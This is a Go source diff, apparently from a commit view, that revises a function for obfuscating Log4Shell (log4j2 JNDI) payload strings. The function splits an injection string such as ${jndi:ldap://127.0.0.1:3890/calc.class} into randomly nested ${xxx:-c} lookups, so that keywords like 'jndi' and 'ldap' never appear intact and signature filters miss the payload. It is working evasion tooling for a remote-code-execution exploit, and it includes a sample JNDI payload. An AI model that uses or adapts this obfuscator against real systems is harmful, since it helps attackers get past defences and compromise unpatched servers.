@@ -5,57 +5,64 @@ import (
55 "strings"
66)
77
8- // TODO output generated string
9- // var obf string
10- // flag.StringVar(&obf, "obf", "", "")
11- // flag.Parse()
12- //
13- // if obf != "" {
14- // fmt.Println(log4shell.Obfuscate(obf))
15- // os.Exit(0)
16- // }
17-
188// raw: ${jndi:ldap://127.0.0.1:3890/calc.class}
199//
2010// obfuscate rule:
2111// 1. ${xxx-xxx:any-code:-bc} => bc
2212
13+ // skippedChars contain skip character, if Obfuscate
14+ // select section contains these characters, they will
15+ // not be obfuscated.
16+ var skippedChars = map [byte ]struct {}{
17+ '$' : {},
18+ '{' : {},
19+ '}' : {},
20+ }
21+
2322// Obfuscate is used to obfuscate malicious(payload) string like
2423// ${jndi:ldap://127.0.0.1:3890/calc.class} for log4j2 package.
2524func Obfuscate (raw string ) string {
2625 l := len (raw )
27- if l < 3 {
26+ if l == 0 {
2827 return ""
2928 }
3029 obfuscated := strings.Builder {}
31- obfuscated .WriteString ("${" )
3230
33- remaining := len (raw ) - len ("${}" )
34- idx := 2
31+ remaining := l
32+ index := 0
33+
3534 // prevent not obfuscate twice, otherwise maybe
3635 // generate string like 1."jn" 2."di" -> "jndi"
3736 lastObfuscated := true
3837
3938 for {
4039 // first select section length
41-
4240 // use 0-3 is used to prevent include special
4341 // string like "jndi", "ldap" and "http"
44- sl := rand .Intn (4 )
45- if sl > remaining {
46- sl = remaining
42+ size := rand .Intn (4 )
43+ if size > remaining {
44+ size = remaining
45+ }
46+ section := raw [index : index + size ]
47+
48+ // contain special character
49+ var skip bool
50+ for i := 0 ; i < len (section ); i ++ {
51+ _ , ok := skippedChars [section [i ]]
52+ if ok {
53+ skip = true
54+ }
4755 }
48- section := raw [idx : idx + sl ]
4956
50- if ! randBool () && lastObfuscated {
57+ if skip || ( ! randBool () && lastObfuscated ) {
5158 // not obfuscate
5259 obfuscated .WriteString (section )
5360
54- remaining -= sl
61+ remaining -= size
5562 if remaining <= 0 {
5663 break
5764 }
58- idx += sl
65+ index += size
5966 lastObfuscated = false
6067 continue
6168 }
@@ -79,14 +86,13 @@ func Obfuscate(raw string) string {
7986 obfuscated .WriteString (section )
8087 obfuscated .WriteString ("}" )
8188
82- remaining -= sl
89+ remaining -= size
8390 if remaining <= 0 {
8491 break
8592 }
86- idx += sl
93+ index += size
8794 lastObfuscated = true
8895 }
8996
90- obfuscated .WriteString ("}" )
9197 return obfuscated .String ()
9298}
0 commit comments